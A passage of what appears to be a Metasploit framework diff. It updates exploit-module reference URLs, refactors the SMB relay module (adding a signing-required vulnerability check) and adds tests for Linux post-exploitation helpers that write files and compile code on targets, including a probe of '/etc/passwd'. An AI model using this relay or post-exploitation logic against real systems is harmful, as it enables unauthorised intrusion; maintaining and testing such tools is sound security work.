], 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/java_mixer_sequencer.rb b/modules/exploits/windows/browser/java_mixer_sequencer.rb index 3c1c86fe4d834..83f99c4b28725 100644 --- a/modules/exploits/windows/browser/java_mixer_sequencer.rb +++ b/modules/exploits/windows/browser/java_mixer_sequencer.rb @@ -37,7 +37,7 @@ def initialize(info={}) [ 'OSVDB', '63493'], [ 'BID', '39077'], [ 'ZDI', '10-060' ], - [ 'URL', 'http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/'] + [ 'URL', 'http://web.archive.org/web/20210624004250/http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/'] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/malwarebytes_update_exec.rb b/modules/exploits/windows/browser/malwarebytes_update_exec.rb index e3aa87e1a5458..e8c7c16e03f7e 100644 --- a/modules/exploits/windows/browser/malwarebytes_update_exec.rb +++ b/modules/exploits/windows/browser/malwarebytes_update_exec.rb @@ -36,7 +36,7 @@ def initialize(info = {}) [ [ 'CVE', '2014-4936' ], [ 'OSVDB', '116050' ], - [ 'URL', 'http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and'] # Discoverer's blog + [ 'URL', 'http://web.archive.org/web/20241212224255/http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and'] # Discoverer's blog ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb index 359dfc885007a..ceaccea3caf83 100644 --- a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb +++ b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb @@ -35,7 +35,7 @@ def initialize(info = {}) ['OSVDB', '63749'], ['BID', '39303'], ['MSB', 'MS10-026'], - ['URL', 'https://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/'], + ['URL', 'http://web.archive.org/web/20110916145030/http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/'], ['URL', 'http://www.phreedom.org/research/bypassing-browser-memory-protections/'] ], 'Payload' => diff --git a/modules/exploits/windows/browser/vlc_amv.rb b/modules/exploits/windows/browser/vlc_amv.rb index 3414754b4ffa0..a2f80eb0cebb0 100644 --- a/modules/exploits/windows/browser/vlc_amv.rb +++ b/modules/exploits/windows/browser/vlc_amv.rb @@ -30,7 +30,7 @@ def initialize(info={}) ['OSVDB', '71277'], ['URL', 'http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files'], # Fix commit diff - ['URL', 'http://git.videolan.org/?p=vlc/vlc-1.1.git;a=commitdiff;h=fe44129dc6509b3347113ab0e1a0524af1e0dd11'] + ['URL', 'http://web.archive.org/web/20130610070348/http://git.videolan.org/?p=vlc/vlc-1.1.git;a=commitdiff;h=fe44129dc6509b3347113ab0e1a0524af1e0dd11'] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/vlc_mms_bof.rb b/modules/exploits/windows/browser/vlc_mms_bof.rb index a4ac29b4c5052..3e7b6967e9df4 100644 --- a/modules/exploits/windows/browser/vlc_mms_bof.rb +++ b/modules/exploits/windows/browser/vlc_mms_bof.rb @@ -35,7 +35,7 @@ def initialize(info={}) ['OSVDB', '80188'], ['URL', 'http://www.videolan.org/security/sa1201.html'], # Fix commit diff - ['URL', 'http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c'] + ['URL', 'http://web.archive.org/web/20130612051447/http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c'] ], 'Payload' => { diff --git a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb index dc27059e98849..18527ac113afc 100644 --- a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb @@ -29,7 +29,7 @@ def initialize(info = {}) [ 'CVE', '2009-3459' ], [ 'BID', '36600' ], [ 'OSVDB', '58729' ], - [ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ], + [ 'URL', 'http://web.archive.org/web/20201207001443/https://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html/' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb index dd9f412a7ee9a..75fa5cf226600 100644 --- a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb +++ b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb @@ -36,7 +36,7 @@ def initialize(info = {}) [ 'OSVDB', '77529' ], [ 'BID', '50922' ], [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ], - [ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ], + [ 'URL', 'http://web.archive.org/web/20210228195907/http://blog.9bplus.com/analyzing-cve-2011-2462/' ], [ 'URL', 'https://sites.google.com/site/felipeandresmanzano/PDFU3DExploitJS_CVE_2009_2990.py?attredirects=0'], #Original PoC [ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ] ], diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb index abab8a8e3f5b2..35a7c3d3c1bcb 100644 --- a/modules/exploits/windows/fileformat/office_ms17_11882.rb +++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb @@ -26,7 +26,7 @@ def initialize(info = {}) 'DisclosureDate' => '2017-11-15', 'References' => [ ['CVE', '2017-11882'], - ['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'], + ['URL', 'http://web.archive.org/web/20211201000500/https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'], ['URL', 'https://github.com/embedi/CVE-2017-11882'] ], 'Platform' => 'win', diff --git a/modules/exploits/windows/fileformat/visio_dxf_bof.rb b/modules/exploits/windows/fileformat/visio_dxf_bof.rb index 1d915419e8d9b..62bf4ab1fa9b5 100644 --- a/modules/exploits/windows/fileformat/visio_dxf_bof.rb +++ b/modules/exploits/windows/fileformat/visio_dxf_bof.rb @@ -33,7 +33,7 @@ def initialize(info = {}) [ 'OSVDB', '64446' ], [ 'BID', '39836' ], [ 'URL', 'http://www.coresecurity.com/content/ms-visio-dxf-buffer-overflow' ], - [ 'URL', 'https://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/' ], + [ 'URL', 'http://web.archive.org/web/20101113032001/http://www.exploit-db.com:80/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/' ], ], 'DefaultOptions' => { diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index 87d4744eebeb4..cbb333fb02848 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -131,7 +131,7 @@ module is not able to clean up after itself. The service and payload ) deregister_options( - 'RPORT', 'RHOSTS', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession' + 'RPORT', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession' ) if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE) add_info('New in Metasploit 6.4 - The %grnCREATE_SMB_SESSION%clr action within this module can open an interactive session') @@ -163,11 +163,7 @@ def validate_service_stub_encoder! end end - def exploit - if datastore['RHOSTS'].present? - print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.') - end - + def validate case action.name when 'PSEXEC' validate_service_stub_encoder! @@ -205,7 +201,7 @@ def run_psexec(relay_connection) framework.threads.spawn(thread_name, false, new_mod_instance) do |mod_instance| mod_instance.exploit_smb_target rescue StandardError => e - print_error("Failed running psexec against target #{datastore['RHOST']} - #{e.class} #{e.message}") + print_error("Failed running psexec against target #{relay_connection.target.ip} - #{e.class} #{e.message}") elog(e) # ensure # # Note: Don't cleanup explicitly, as the shared replicant state leads to payload handlers etc getting closed. @@ -217,12 +213,31 @@ def run_psexec(relay_connection) def relay_targets Msf::Exploit::Remote::SMB::Relay::TargetList.new( :smb, - 445, - datastore['RELAY_TARGETS'], + rport, + datastore['RHOSTS'], randomize_targets: datastore['RANDOMIZE_TARGETS'] ) end + def check_host(target_ip) + generic_message = 'Failed to connect and negotiate an SMB connection.' + begin + simple = connect(false, direct: true) + protocol = simple.client.negotiate + rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError, Errno::ECONNRESET + return Exploit::CheckCode::Unknown(generic_message) + rescue ::Exception => e # rubocop:disable Lint/RescueException + elog(generic_message, error: e) + return Exploit::CheckCode::Unknown(generic_message) + end + + if simple.signing_required + return Exploit::CheckCode::Safe('Signing is required by the target server.') + end + + Exploit::CheckCode::Vulnerable('Signing is not required by the target server.') + end + # Called after a successful connection to a relayed host is opened def exploit_smb_target # automatically select an SMB share unless one is explicitly specified @@ -287,4 +302,7 @@ def session_setup(client) s end + def rport + 445 + end end diff --git a/spec/lib/msf/core/modules/metadata/search_spec.rb b/spec/lib/msf/core/modules/metadata/search_spec.rb index bbd8be3fd4a90..95112a53911f9 100644 --- a/spec/lib/msf/core/modules/metadata/search_spec.rb +++ b/spec/lib/msf/core/modules/metadata/search_spec.rb @@ -57,6 +57,9 @@ def get_metadata it { expect(described_class.parse_search_string("session_type:Meterpreter ")).to eq({"session_type"=>[["meterpreter"], []]}) } it { expect(described_class.parse_search_string("session_type:shell ")).to eq({"session_type"=>[["shell"], []]}) } it { expect(described_class.parse_search_string("action:forge_golden ")).to eq({"action"=>[["forge_golden"], []]}) } + it { expect(described_class.parse_search_string("targets:windows ")).to eq({"targets"=>[["windows"], []]}) } + it { expect(described_class.parse_search_string("targets:osx ")).to eq({"targets"=>[["osx"], []]}) } + it { expect(described_class.parse_search_string("targets:ubuntu ")).to eq({"targets"=>[["ubuntu"], []]}) } end describe '#find' do @@ -151,6 +154,13 @@ def inverse_query_terms(search_string) it_should_behave_like 'search_filter', :accept => accept, :reject => reject end + context 'on a module with a #author of nil' do + let(:opts) { ({ 'author' => [nil] }) } + reject = %w(author:foo) + + it_should_behave_like 'search_filter', :reject => reject + end + context 'on a module with the authors "joev" and "blarg"' do let(:opts) { ({ 'author' => ['joev', 'blarg'] }) } accept = %w(author:joev author:joe) @@ -233,6 +243,46 @@ def inverse_query_terms(search_string) it_should_behave_like 'search_filter', accept: accept, reject: reject end + context 'on a module with a #targets of ["windows"]' do + let(:opts) { { 'targets' => ['windows'] } } + accept = %w[targets:windows] + reject = %w[targets:unrelated] + + it_should_behave_like 'search_filter', accept: accept, reject: reject + end + + context 'on a module with a #targets of ["osx"]' do + let(:opts) { { 'targets' => ['osx'] } } + accept = %w[targets:osx] + reject = %w[targets:unrelated] + + it_should_behave_like 'search_filter', accept: accept, reject: reject + end + + context 'on a module with a #targets of ["ubuntu"]' do + let(:opts) { { 'targets' => ['ubuntu'] } } + accept = %w[targets:ubuntu] + reject = %w[targets:unrelated] + + it_should_behave_like 'search_filter', accept: accept, reject: reject + end + + context 'on a module with a #targets of ["ubuntu", "windows", "osx"]' do + let(:opts) { { 'targets' => %w[ubuntu windows osx] } } + accept = %w[targets:osx] + reject = %w[targets:unrelated] + + it_should_behave_like 'search_filter', accept: accept, reject: reject + end + + context 'on a module with a #targets of nil' do + let(:opts) { { 'targets' => nil } } + + reject = %w[targets:foo] + + it_should_behave_like 'search_filter', reject: reject + end + context 'on a module that supports the osx platform' do let(:opts) { ({ 'platform' => 'osx' }) } accept = %w(platform:osx os:osx) @@ -360,6 +410,14 @@ def inverse_query_terms(search_string) end end + context 'on a module with a #reference of nil' do + let(:opts) { { 'references' => nil } } + + reject = %w[reference:foo] + + it_should_behave_like 'search_filter', reject: reject + end + REF_TYPES.each do |ref_type| ref_num = '1234-1111' context "on a module with reference #{ref_type}-#{ref_num}" do diff --git a/spec/lib/msf/core/post/linux/busy_box_spec.rb b/spec/lib/msf/core/post/linux/busy_box_spec.rb index 83e4cab5c1d1b..fbd3e9d60770b 100644 --- a/spec/lib/msf/core/post/linux/busy_box_spec.rb +++ b/spec/lib/msf/core/post/linux/busy_box_spec.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -require 'spec_helper' +require 'spec_helper' RSpec.describe Msf::Post::Linux::BusyBox do subject do @@ -9,15 +9,15 @@ mod end - describe "#busy_box_file_exist?" do - describe "when file exists" do + describe '#busy_box_file_exist?' do + describe 'when file exists' do before :example do allow(subject).to receive(:read_file) do 'test data' end end - it "returns true" do + it 'returns true' do expect(subject.busy_box_file_exist?('/etc/passwd')).to be_truthy end end @@ -29,20 +29,21 @@ end end - it "returns false" do + it 'returns false' do expect(subject.busy_box_file_exist?('/etc/nonexistent')).to be_falsey end end end - describe "#busy_box_is_writable_dir?" do + describe '#busy_box_is_writable_dir?' do before :example do allow(subject).to receive(:cmd_exec) do '' end + allow(Rex).to receive(:sleep) end - describe "when dir is writable" do + describe 'when dir is writable' do before :example do allow(subject).to receive(:read_file) do "#{'A' * 16}XXX#{'A' * 16}" @@ -53,7 +54,7 @@ end end - it "returns true" do + it 'returns true' do expect(subject.busy_box_is_writable_dir?('/tmp/')).to be_truthy end end @@ -65,14 +66,13 @@ end end - it "returns false" do + it 'returns false' do expect(subject.busy_box_is_writable_dir?('/etc/')).to be_falsey end end end - - describe "#busy_box_writable_dir" do + describe '#busy_box_writable_dir' do before :example do allow(subject).to receive(:cmd_exec) do '' @@ -86,12 +86,12 @@ end end - it "returns nil" do + it 'returns nil' do expect(subject.busy_box_writable_dir).to be_nil end end - describe "when a writable directory exists" do + describe 'when a writable directory exists' do before :example do allow(subject).to receive(:read_file) do "#{'A' * 16}XXX#{'A' * 16}" @@ -102,18 +102,18 @@ end end - it "returns the writable dir path" do + it 'returns the writable dir path' do expect(subject.busy_box_writable_dir).to eq('/etc/') end end end - - describe "#busy_box_write_file" do + describe '#busy_box_write_file' do before :example do allow(subject).to receive(:cmd_exec) do '' end + allow(Rex).to receive(:sleep) end describe "when the file isn't writable" do @@ -123,12 +123,12 @@ end end - it "returns false" do + it 'returns false' do expect(subject.busy_box_write_file('/etc/passwd', 'test')).to be_falsey end end - describe "when the file is writable" do + describe 'when the file is writable' do before :example do allow(subject).to receive(:read_file) do "#{'A' * 16}XXX#{'A' * 16}" @@ -139,14 +139,14 @@ end end - it "returns true" do + it 'returns true' do expect(subject.busy_box_write_file('/tmp/test', 'test')).to be_truthy end end - describe "when prepend is true" do - describe "when there is a writable dir" do - describe "when the target file is writable" do + describe 'when prepend is true' do + describe 'when there is a writable dir' do + describe 'when the target file is writable' do before :example do allow(subject).to receive(:busy_box_writable_dir) do '/tmp/' @@ -161,7 +161,7 @@ end end - it "returns true" do + it 'returns true' do expect(subject.busy_box_write_file('/tmp/test', 'test', true)).to be_truthy end end @@ -173,12 +173,11 @@ nil end end - - it "returns false" do + + it 'returns false' do expect(subject.busy_box_write_file('/tmp/test', 'test', true)).to be_falsey end end end end - end diff --git a/spec/lib/msf/core/post/linux/compile_spec.rb b/spec/lib/msf/core/post/linux/compile_spec.rb new file mode 100644 index 0000000000000..824e1f8727ac2 --- /dev/null +++ b/spec/lib/msf/core/post/linux/compile_spec.rb @@ -0,0 +1,156 @@ +require 'spec_helper' + +RSpec.describe Msf::Post::Linux::Compile do + subject do + mod = Msf::Exploit.allocate + mod.extend(Msf::PostMixin) + mod.extend described_class + mod.send(:initialize, {}) + mod + end + + before do + allow(Rex::Text).to receive(:rand_text_alphanumeric).with(8).and_return('fixedStr') + end + + describe '#get_compiler' do + context 'when gcc is available' do + it 'returns gcc' do + allow(subject).to receive(:has_gcc?).and_return(true) + expect(subject.get_compiler).to eq('gcc') + end + end + + context 'when clang is available' do + it 'returns clang' do + allow(subject).to receive(:has_gcc?).and_return(false) + allow(subject).to receive(:has_clang?).and_return(true) + expect(subject.get_compiler).to eq('clang') + end + end + + context 'when no compiler is available' do + it 'returns nil' do + allow(subject).to receive(:has_gcc?).and_return(false) + allow(subject).to receive(:has_clang?).and_return(false) + expect(subject.get_compiler).to be_nil + end + end + end + + describe '#live_compile?' do + context 'when COMPILE is not Auto or True' do + it 'returns false' do + allow(subject).to receive(:datastore).and_return({ 'COMPILE' => 'False' }) + expect(subject.live_compile?).to be false + end + end + + context 'when COMPILE is Auto or True' do + it 'returns true if gcc is specified and available' do + allow(subject).to receive(:datastore).and_return({ 'COMPILE' => 'Auto', 'COMPILER' => 'gcc' }) + allow(subject).to receive(:has_gcc?).and_return(true) + expect(subject.live_compile?).to be true + end + + it 'returns true if clang is specified and available' do + allow(subject).to receive(:datastore).and_return({ 'COMPILE' => 'Auto', 'COMPILER' => 'clang' }) + allow(subject).to receive(:has_clang?).and_return(true) + expect(subject.live_compile?).to be true + end + + it 'returns true if Auto is specified and a compiler is available' do + allow(subject).to receive(:datastore).and_return({ 'COMPILE' => 'Auto', 'COMPILER' => 'Auto' }) + allow(subject).to receive(:get_compiler).and_return('gcc') + expect(subject.live_compile?).to be true + end + + it 'raises an error if the specified compiler is not available' do + allow(subject).to receive(:datastore).and_return({ 'COMPILE' => 'True', 'COMPILER' => 'gcc' }) + allow(subject).to receive(:has_gcc?).and_return(false) + expect { subject.live_compile? }.to raise_error(Msf::Exploit::Failed, 'gcc is not installed. Set COMPILE False to upload a pre-compiled executable.') + end + end + end + + describe '#upload_and_compile' do + let(:origin) { '/path/to/source.c' } + let(:destination) { '/tmp/source.c' } + let(:compiled) { '/tmp/source' } + let(:flags) { '-static' } + let(:session) { double('Session', send: nil) } + let(:session_type_meterpreter) { 'meterpreter' } + let(:session_type_shell) { 'shell' } + + before do + allow(subject).to receive(:get_compiler).and_return('gcc') + allow(subject).to receive(:rm_f).and_return('') + allow(subject).to receive(:chmod).and_return('') + end + + it 'uploads the source file and compiles it on meterpreter with success' do + allow(subject).to receive_message_chain('session.type').and_return(session_type_meterpreter) + expect(subject).to receive(:session) + expect(subject).to receive(:write_file).with(destination, origin) + expect(subject).to receive(:cmd_exec).with("gcc -o '#{compiled}' '#{destination}' #{flags} && echo fixedStr").and_return('fixedStr') + expect(subject).to receive(:rm_f).with(destination) + expect(subject).to receive(:chmod).with(destination) + + subject.upload_and_compile(compiled, origin, flags) + end + + it 'uploads the source file and compiles it on shell with success' do + allow(subject).to receive_message_chain('session.type').and_return(session_type_shell) + expect(subject).to receive(:session) + expect(subject).to receive(:write_file).with(destination, origin) + expect(subject).to receive(:cmd_exec).with("PATH=\"$PATH:/usr/bin/\" gcc -o '#{compiled}' '#{destination}' #{flags} && echo fixedStr").and_return('fixedStr') + expect(subject).to receive(:rm_f).with(destination) + expect(subject).to receive(:chmod).with(destination) + + subject.upload_and_compile(compiled, origin, flags) + end + + it 'uploads the source file and compiles it on meterpreter but fails' do + allow(subject).to receive_message_chain('session.type').and_return(session_type_meterpreter) + expect(subject).to receive(:session) + expect(subject).to receive(:write_file).with(destination, origin) + # remove the expect line, so it will look like the compile failed + expect(subject).to receive(:cmd_exec).with("gcc -o '#{compiled}' '#{destination}' #{flags} && echo fixedStr").and_return('Compile error') + expect(subject).to receive(:rm_f).with(destination) + + expect { subject.upload_and_compile(compiled, origin, flags) }.to raise_error(Msf::Exploit::Failed, '/tmp/source.c failed to compile. Set COMPILE to False to upload a pre-compiled executable.') + end + + it 'raises an error if no compiler is available' do + allow(subject).to receive(:get_compiler).and_return(nil) + allow(subject).to receive_message_chain('session.type').and_return(session_type_shell) + + expect { subject.upload_and_compile(compiled, origin, output) }.to raise_error(Msf::Exploit::Failed, 'Unable to find a compiler on the remote target.') + end + end + + describe '#strip_comments' do + it 'removes comments from the source code' do + source_code = <<-CODE + // This is a single line comment + int main() { + /* This is a + multi-line comment */ + printf("Hello, world!"); + return 0; + } + CODE + + expected_output = <<-CODE + + int main() { + #{' '} + printf("Hello, world!"); + return 0; + } + CODE + + expect(subject.strip_comments(source_code)).to eq(expected_output) + end + end +end diff --git a/spec/lib/msf/core/post/linux/kernel_spec.rb b/spec/lib/msf/core/post/linux/kernel_spec.rb new file mode 100644 index 0000000000000..84b26bd795d59 --- /dev/null +++ b/spec/lib/msf/core/post/linux/kernel_spec.rb @@ -0,0 +1,111 @@ +require 'spec_helper' + +RSpec.describe Msf::Post::Linux::Kernel do + subject do + mod = Msf::Module.new + mod.extend(Msf::Post::Linux::Kernel) + mod + end + + describe '#uname' do + context 'it returns an ubuntu kernel' do + it 'returns the kernel information' do + allow(subject).to receive(:cmd_exec).and_return('Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64 GNU/Linux ') + expect(subject.uname).to eq('Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64 GNU/Linux') + end + end + end + + describe '#kernel_release' do + context 'it returns an ubuntu kernel release' do + it 'returns 6.11.2-amd64' do + allow(subject).to receive(:cmd_exec).and_return('6.11.2-amd64 ') + expect(subject.kernel_release).to eq('6.11.2-amd64') + end + end + end + + describe '#kernel_version' do + context 'it returns an ubuntu kernel version' do + it 'returns 6.11.2-amd64' do + allow(subject).to receive(:cmd_exec).and_return('#1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) ') + expect(subject.kernel_version).to eq('#1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15)') + end + end + end + + describe '#kernel_name' do + context 'it returns an ubuntu kernel name' do + it 'returns Linux' do + allow(subject).to receive(:cmd_exec).and_return('Linux ') + expect(subject.kernel_name).to eq('Linux') + end + end + end + + describe '#kernel_hardware' do + context 'it returns an ubuntu kernel hardware' do + it 'returns x86_64' do + allow(subject).to receive(:cmd_exec).and_return('x86_64 ') + expect(subject.kernel_hardware).to eq('x86_64') + end + end + end + + describe '#kernel_arch' do + context 'it returns an ubuntu kernel arch' do + it 'returns x64' do + allow(subject).to receive(:cmd_exec).and_return('x86_64 ') + expect(subject.kernel_arch).to eq('x64') + end + it 'returns aarch64' do + allow(subject).to receive(:cmd_exec).and_return('aarch64 ') + expect(subject.kernel_arch).to eq('aarch64') + end + it 'returns aarch64' do + allow(subject).to receive(:cmd_exec).and_return('arm ') + expect(subject.kernel_arch).to eq('armle') + end + it 'returns x86' do + allow(subject).to receive(:cmd_exec).and_return('i686 ') + expect(subject.kernel_arch).to eq('x86') + end + it 'returns ppc' do + allow(subject).to receive(:cmd_exec).and_return('ppc ') + expect(subject.kernel_arch).to eq('ppc') + end + it 'returns ppc64' do + allow(subject).to receive(:cmd_exec).and_return('ppc64 ') + expect(subject.kernel_arch).to eq('ppc64') + end + it 'returns ppc64le' do + allow(subject).to receive(:cmd_exec).and_return('ppc64le ') + expect(subject.kernel_arch).to eq('ppc64le') + end + it 'returns mips' do + allow(subject).to receive(:cmd_exec).and_return('mips ') + expect(subject.kernel_arch).to eq('mips') + end + it 'returns mips64' do + allow(subject).to receive(:cmd_exec).and_return('mips64 ') + expect(subject.kernel_arch).to eq('mips64') + end + it 'returns sparc' do + allow(subject).to receive(:cmd_exec).and_return('sparc ') + expect(subject.kernel_arch).to eq('sparc') + end + it 'returns riscv32le' do + allow(subject).to receive(:cmd_exec).and_return('riscv32 ') + expect(subject.kernel_arch).to eq('riscv32le') + end + it 'returns riscv64le' do + allow(subject).to receive(:cmd_exec).and_return('riscv64 ') + expect(subject.kernel_arch).to eq('riscv64le') + end + it 'returns loongarch64' do + allow(subject).to receive(:cmd_exec).and_return('loongarch64 ') + expect(subject.kernel_arch).to eq('loongarch64') + end + end + end +end diff --git a/spec/lib/msf/core/post/linux/packages_spec.rb b/spec/lib/msf/core/post/linux/packages_spec.rb new file mode 100644 index 0000000000000..59e729bd55752 --- /dev/null +++ b/spec/lib/msf/core/post/linux/packages_spec.rb @@ -0,0 +1,178 @@ +require 'spec_helper' + +RSpec.describe Msf::Post::Linux::Packages do + subject do + mod = Msf::Module.new + mod.extend(Msf::Post::Linux::Packages) + mod + end + + describe '#installed_package_version' do + context 'when the OS isnt supported' do + it 'returns nil' do + allow(subject).to receive(:get_sysinfo).and_return({ kernel: '', distro: 'unsupported', version: '' }) + expect(subject.installed_package_version('test')).to be_nil + end + end + + # dockerfile for German locale Ubuntu + # FROM ubuntu:latest + # + # # Install locales package and set up German locale + # RUN apt-get update && apt-get install -y locales && \ + # locale-gen de_DE.UTF-8 && \ + # update-locale LANG=de_DE.UTF-8 && \ + # echo "export LANG=de_DE.UTF-8" >> /etc/profile && \ + # echo "export LANGUAGE=de_DE.UTF-8" >> /etc/profile && \ + # echo "export LC_ALL=de_DE.UTF-8" >> /etc/profile + # + # # Set environment variables + # ENV LANG=de_DE.UTF-8 \ + # LANGUAGE=de_DE.UTF-8 \ + # LC_ALL=de_DE.UTF-8 + # + # CMD ["/bin/bash"] + context 'when the Ubuntu/Debian package isnt installed' do + it 'returns nil' do + allow(subject).to receive(:get_sysinfo).and_return({ kernel: 'Linux ubuntu22 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux', distro: 'ubuntu', version: 'Ubuntu 22.04.5 LTS' }) + allow(subject).to receive(:cmd_exec).and_return('dpkg-query: no packages found matching example') + expect(subject.installed_package_version('test')).to be_nil + end + end + + context 'when the Ubuntu/Debian package is installed' do + it 'returns 3.5-5ubuntu2.1' do + allow(subject).to receive(:get_sysinfo).and_return({ kernel: 'Linux ubuntu22 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux', distro: 'ubuntu', version: 'Ubuntu 22.04.5 LTS' }) + allow(subject).to receive(:cmd_exec).and_return('3.5-5ubuntu2.1') + expect(subject.installed_package_version('test')).to eq(Rex::Version.new('3.5-5ubuntu2.1')) + end + end + + context 'when the Ubuntu/Debian package is installed with a + in the version number' do + it 'returns 1.34.dfsg.pre.1ubuntu0.1.22.04.2' do + allow(subject).to receive(:get_sysinfo).and_return({ kernel: 'Linux ubuntu22 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux', distro: 'ubuntu', version: 'Ubuntu 22.04.5 LTS' }) + allow(subject).to receive(:cmd_exec).and_return('1.34+dfsg-1ubuntu0.1.22.04.2') + expect(subject.installed_package_version('test')).to eq(Rex::Version.new('1.34.dfsg.pre.1ubuntu0.1.22.04.2')) + end + end + + context 'when the Redhat or Fedora package is installed' do + it 'returns 8.2.1-3.fc39' do + allow(subject).to receive(:get_sysinfo).and_return({ kernel: '', distro: 'redhat', version: '' }) + allow(subject).to receive(:cmd_exec).and_return('curl-8.2.1-3.fc39.x86_64') + expect(subject.installed_package_version('curl')).to eq(Rex::Version.new('8.2.1-3.fc39')) + end + end + + context 'when the Fedora package isnt installed' do + it 'returns nil' do + allow(subject).to receive(:get_sysinfo).and_return({ kernel: '', distro: 'fedora', version: '' }) + allow(subject).to receive(:cmd_exec).and_return('package foobar is not installed') + expect(subject.installed_package_version('foobar')).to eq(nil) + end + end + + # dockerfile for German locale Fedora + # FROM fedora:latest + # + # RUN dnf install -y glibc-langpack-de && \ + # echo "export LANG=de_DE.UTF-8" >> /etc/profile && \ + # echo "export LANGUAGE=de_DE.UTF-8" >> /etc/profile && \ + # echo "export LC_ALL=de_DE.UTF-8" >> /etc/profile + # + # ENV LANG=de_DE.UTF-8 \ + # LANGUAGE=de_DE.UTF-8 \ + # LC_ALL=de_DE.UTF-8 + # + # CMD ["/bin/bash"] + context 'when the German language Fedora package isnt installed' do + it 'returns nil' do + allow(subject).to receive(:get_sysinfo).and_return({ kernel: '', distro: 'fedora', version: '' }) + allow(subject).to receive(:cmd_exec).and_return('Das Paket foobar ist nicht installiert') + expect(subject.installed_package_version('foobar')).to eq(nil) + end + end + + # freebsd 12.0 + context 'when the FreeBSD package is installed' do + it 'returns 1.12.0' do + allow(subject).to receive(:get_sysinfo).and_return({ kernel: '', distro: 'freebsd', version: '' }) + allow(subject).to receive(:cmd_exec).and_return("pkg-1.12.0\nName : pkg\nVersion : 1.12.0") + expect(subject.installed_package_version('test')).to eq(Rex::Version.new('1.12.0')) + end + end + + context 'when the FreeBSD package isnt installed' do + it 'returns nil' do + allow(subject).to receive(:get_sysinfo).and_return({ kernel: '', distro: 'freebsd', version: '' }) + allow(subject).to receive(:cmd_exec).and_return('pkg: No package(s) matching foobarbaz') + expect(subject.installed_package_version('foobarbaz')).to eq(nil) + end + end + + # dockerfile for German locale gentoo + # FROM gentoo/stage3 + + # # Update system and install German locale support + # RUN emerge --sync && \ + # emerge --quiet --update --deep --newuse world && \ + # echo "de_DE.UTF-8 UTF-8" >> /etc/locale.gen && \ + # locale-gen && \ + # eselect locale set de_DE.UTF-8 && \ + # echo "export LANG=de_DE.UTF-8" >> /etc/profile && \ + # echo "export LANGUAGE=de_DE.UTF-8" >> /etc/profile && \ + # echo "export LC_ALL=de_DE.UTF-8" >> /etc/profile + # + # # Set environment variables + # ENV LANG=de_DE.UTF-8 \ + # LANGUAGE=de_DE.UTF-8 \ + # LC_ALL=de_DE.UTF-8 + # + # CMD ["/bin/bash"] + context 'when the Gentoo package is installed and uses equery' do + it 'returns 4.3.2-r3' do + allow(subject).to 